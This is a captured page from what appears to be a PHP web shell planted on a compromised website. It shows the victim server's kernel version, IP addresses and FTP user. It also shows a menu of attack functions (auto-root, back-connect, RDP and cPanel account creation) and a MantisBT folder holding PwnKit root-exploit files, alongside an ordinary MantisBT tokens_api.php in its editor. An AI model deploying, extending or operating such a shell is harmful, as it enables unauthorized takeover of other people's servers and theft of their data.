Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
mantis /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
cfdefs
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
.htaccess
59
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
access_api.php
23.38
KB
-rw-r--r--
ajax_api.php
1.78
KB
-rw-r--r--
authentication_api.php
24.22
KB
-rw-r--r--
bug_api.php
59.38
KB
-rw-r--r--
bug_group_action_api.php
11.72
KB
-rw-r--r--
bug_revision_api.php
9.94
KB
-rw-r--r--
bugnote_api.php
22.03
KB
-rw-r--r--
category_api.php
18.27
KB
-rw-r--r--
collapse_api.php
6.54
KB
-rw-r--r--
columns_api.php
41.71
KB
-rw-r--r--
compress_api.php
4.26
KB
-rw-r--r--
config_api.php
20.95
KB
-rw-r--r--
constant_inc.php
15.77
KB
-rw-r--r--
csv_api.php
10.49
KB
-rw-r--r--
current_user_api.php
6.61
KB
-rw-r--r--
custom_field_api.php
44.01
KB
-rw-r--r--
custom_function_api.php
15.43
KB
-rw-r--r--
database_api.php
26.36
KB
-rw-r--r--
date_api.php
8.34
KB
-rw-r--r--
email_api.php
50.19
KB
-rw-r--r--
email_queue_api.php
4.91
KB
-rw-r--r--
error_api.php
12.19
KB
-rw-r--r--
event_api.php
9.3
KB
-rw-r--r--
events_inc.php
4.34
KB
-rw-r--r--
excel_api.php
19.57
KB
-rw-r--r--
file_api.php
32.11
KB
-rw-r--r--
filter_api.php
171.82
KB
-rw-r--r--
form_api.php
6.39
KB
-rw-r--r--
gpc_api.php
14.34
KB
-rw-r--r--
graphviz_api.php
13.6
KB
-rw-r--r--
helper_api.php
16.08
KB
-rw-r--r--
history_api.php
20.75
KB
-rw-r--r--
html_api.php
54.7
KB
-rw-r--r--
html_api_19-09-13.php
54.69
KB
-rw-r--r--
http_api.php
5.71
KB
-rw-r--r--
icon_api.php
2.67
KB
-rw-r--r--
json_api.php
3.37
KB
-rw-r--r--
lang_api.php
8.59
KB
-rw-r--r--
last_visited_api.php
2.82
KB
-rw-r--r--
ldap_api.php
15.59
KB
-rw-r--r--
logging_api.php
3.02
KB
-rw-r--r--
mobile_api.php
3.03
KB
-rw-r--r--
news_api.php
8.87
KB
-rw-r--r--
obsolete.php
5.39
KB
-rw-r--r--
php_api.php
3.17
KB
-rw-r--r--
plugin_api.php
24.38
KB
-rw-r--r--
prepare_api.php
3.32
KB
-rw-r--r--
print_api.php
63.29
KB
-rw-r--r--
profile_api.php
9.35
KB
-rw-r--r--
projax_api.php
3.22
KB
-rw-r--r--
project_api.php
25.56
KB
-rw-r--r--
project_hierarchy_api.php
9.88
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
relationship_api.php
32.31
KB
-rw-r--r--
relationship_graph_api.php
15.13
KB
-rw-r--r--
rss_api.php
4.41
KB
-rw-r--r--
session_api.php
7.69
KB
-rw-r--r--
sponsorship_api.php
12.25
KB
-rw-r--r--
string_api.php
29.12
KB
-rw-r--r--
summary_api.php
39.92
KB
-rw-r--r--
tag_api.php
22.85
KB
-rw-r--r--
tokens_api.php
7.64
KB
-rw-r--r--
twitter_api.php
4.51
KB
-rw-r--r--
url_api.php
2.06
KB
-rw-r--r--
user_api.php
40.99
KB
-rw-r--r--
user_pref_api.php
17.01
KB
-rw-r--r--
utility_api.php
7.63
KB
-rw-r--r--
version_api.php
21.15
KB
-rw-r--r--
wiki_api.php
2.2
KB
-rw-r--r--
xmlhttprequest_api.php
3.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tokens_api.php
<?php # MantisBT - a php based bugtracking system # MantisBT is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # MantisBT is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with MantisBT. If not, see <http://www.gnu.org/licenses/>. /** * This implements temporary storage of strings. * DB schema: id, type, owner, timestamp, value * * @package CoreAPI * @subpackage TokensAPI * @copyright Copyright (C) 2000 - 2002 Kenzaburo Ito - kenito@300baud.org * @copyright Copyright (C) 2002 - 2013 MantisBT Team - mantisbt-dev@lists.sourceforge.net * @link http://www.mantisbt.org */ # Set up global for token_purge_expired_once() $g_tokens_purged = false; /** * Check if a token exists. * @param integer Token ID * @return boolean True if token exists */ function token_exists( $p_token_id ) { $c_token_id = db_prepare_int( $p_token_id ); $t_tokens_table = db_get_table( 'mantis_tokens_table' ); $t_query = "SELECT id FROM $t_tokens_table WHERE id=" . db_param(); $t_result = db_query_bound( $t_query, Array( $c_token_id ), 1 ); return( 1 == db_num_rows( $t_result ) ); } /** * Make sure a token exists. * @param integer Token ID * @return boolean True if token exists */ function token_ensure_exists( $p_token_id ) { if( !token_exists( $p_token_id ) ) { trigger_error( ERROR_TOKEN_NOT_FOUND, ERROR ); } return true; } # High-level CRUD Usage /** * Get a token's information * @param integer Token type * @param integer User ID * @return array Token row */ function token_get( $p_type, $p_user_id = null ) { token_purge_expired_once(); $c_type = db_prepare_int( $p_type ); $c_user_id = db_prepare_int( $p_user_id == null ? auth_get_current_user_id() : $p_user_id ); $t_tokens_table = db_get_table( 'mantis_tokens_table' ); $t_query = "SELECT * FROM $t_tokens_table WHERE type=" . db_param() . " AND owner=" . db_param(); $t_result = db_query_bound( $t_query, Array( $c_type, $c_user_id ) ); if( db_num_rows( $t_result ) > 0 ) { return db_fetch_array( $t_result ); } return null; } /** * Get a token's value or null if not found * @param integer Token type * @param integer User ID (null for current user) * @return array Token row */ function token_get_value( $p_type, $p_user_id = null ) { $t_token = token_get( $p_type, $p_user_id ); if( null !== $t_token ) { return $t_token['value']; } return null; } /** * Create or update a token's value and expiration * @param integer Token type * @param string Token value * @param integer Token expiration in seconds * @param integer User ID * @return integer Token ID */ function token_set( $p_type, $p_value, $p_expiry = TOKEN_EXPIRY, $p_user_id = null ) { $t_token = token_get( $p_type, $p_user_id ); if( $t_token === null ) { return token_create( $p_type, $p_value, $p_expiry, $p_user_id ); } token_update( $t_token['id'], $p_value, $p_expiry ); return $t_token['id']; } /** * Touch a token to update its expiration time. * @param integer Token ID * @param integer Token expiration in seconds * @return always true */ function token_touch( $p_token_id, $p_expiry = TOKEN_EXPIRY ) { token_ensure_exists( $p_token_id ); $c_token_id = db_prepare_int( $p_token_id ); $c_token_expiry = time() + $p_expiry; $t_tokens_table = db_get_table( 'mantis_tokens_table' ); $t_query = "UPDATE $t_tokens_table SET expiry=" . db_param() . " WHERE id=" . db_param(); db_query_bound( $t_query, Array( $c_token_expiry, $c_token_id ) ); return true; } /** * Delete a token. * @param integer Token type * @param integer User ID or null for current logged in user. * @return always true */ function token_delete( $p_type, $p_user_id = null ) { $c_type = db_prepare_int( $p_type ); $c_user_id = db_prepare_int( $p_user_id == null ? auth_get_current_user_id() : $p_user_id ); $t_tokens_table = db_get_table( 'mantis_tokens_table' ); $t_query = "DELETE FROM $t_tokens_table WHERE type=" . db_param() . " AND owner=" . db_param(); db_query_bound( $t_query, Array( $c_type, $c_user_id ) ); return true; } /** * Delete all tokens owned by a specified user. * @param integer User ID or null for current logged in user. * @return always true */ function token_delete_by_owner( $p_user_id = null ) { if( $p_user_id == null ) { $c_user_id = auth_get_current_user_id(); } else { $c_user_id = db_prepare_int( $p_user_id ); } $t_tokens_table = db_get_table( 'mantis_tokens_table' ); # Remove $t_query = "DELETE FROM $t_tokens_table WHERE owner=" . db_param(); db_query_bound( $t_query, Array( $c_user_id ) ); return true; } # Low-level CRUD, not for general use /** * Create a token. * @param integer Token type * @param string Token value * @param integer Token expiration in seconds * @param integer User ID * @return integer Token ID */ function token_create( $p_type, $p_value, $p_expiry = TOKEN_EXPIRY, $p_user_id = null ) { $c_type = db_prepare_int( $p_type ); $c_timestamp = db_now(); $c_expiry = time() + $p_expiry; $c_user_id = db_prepare_int( $p_user_id == null ? auth_get_current_user_id() : $p_user_id ); $t_tokens_table = db_get_table( 'mantis_tokens_table' ); $t_query = "INSERT INTO $t_tokens_table ( type, value, timestamp, expiry, owner ) VALUES ( " . db_param() . ', ' . db_param() . ', ' . db_param() . ', ' . db_param() . ', ' . db_param() . ' )'; db_query_bound( $t_query, Array( $c_type, (string)$p_value, $c_timestamp, $c_expiry, $c_user_id ) ); return db_insert_id( $t_tokens_table ); } /** * Update a token * @param integer Token ID * @param string Token value * @param integer Token expiration in seconds * @return always true. */ function token_update( $p_token_id, $p_value, $p_expiry = TOKEN_EXPIRY ) { token_ensure_exists( $p_token_id ); $c_token_id = db_prepare_int( $p_token_id ); $c_expiry = time() + $p_expiry; $t_tokens_table = db_get_table( 'mantis_tokens_table' ); $t_query = "UPDATE $t_tokens_table SET value=" . db_param() . ", expiry=" . db_param() . " WHERE id=" . db_param(); db_query_bound( $t_query, Array( (string)$p_value, $c_expiry, $c_token_id ) ); return true; } /** * Delete all tokens of a specified type. * @param integer Token Type * @return always true. */ function token_delete_by_type( $p_token_type ) { $c_token_type = db_prepare_int( $p_token_type ); $t_tokens_table = db_get_table( 'mantis_tokens_table' ); # Remove $t_query = "DELETE FROM $t_tokens_table WHERE type=" . db_param(); db_query_bound( $t_query, Array( $c_token_type ) ); return true; } /** * Purge all expired tokens. * @param integer Token type * @return always true. */ function token_purge_expired( $p_token_type = null ) { global $g_tokens_purged; $t_tokens_table = db_get_table( 'mantis_tokens_table' ); $t_query = "DELETE FROM $t_tokens_table WHERE " . db_param() . " > expiry"; if( !is_null( $p_token_type ) ) { $c_token_type = db_prepare_int( $p_token_type ); $t_query .= " AND type=" . db_param(); db_query_bound( $t_query, Array( db_now(), $c_token_type ) ); } else { db_query_bound( $t_query, Array( db_now() ) ); } $g_tokens_purged = true; return true; } /** * Purge all expired tokens only once per session. */ function token_purge_expired_once() { global $g_tokens_purged; if( !$g_tokens_purged ) { token_purge_expired(); } }
Close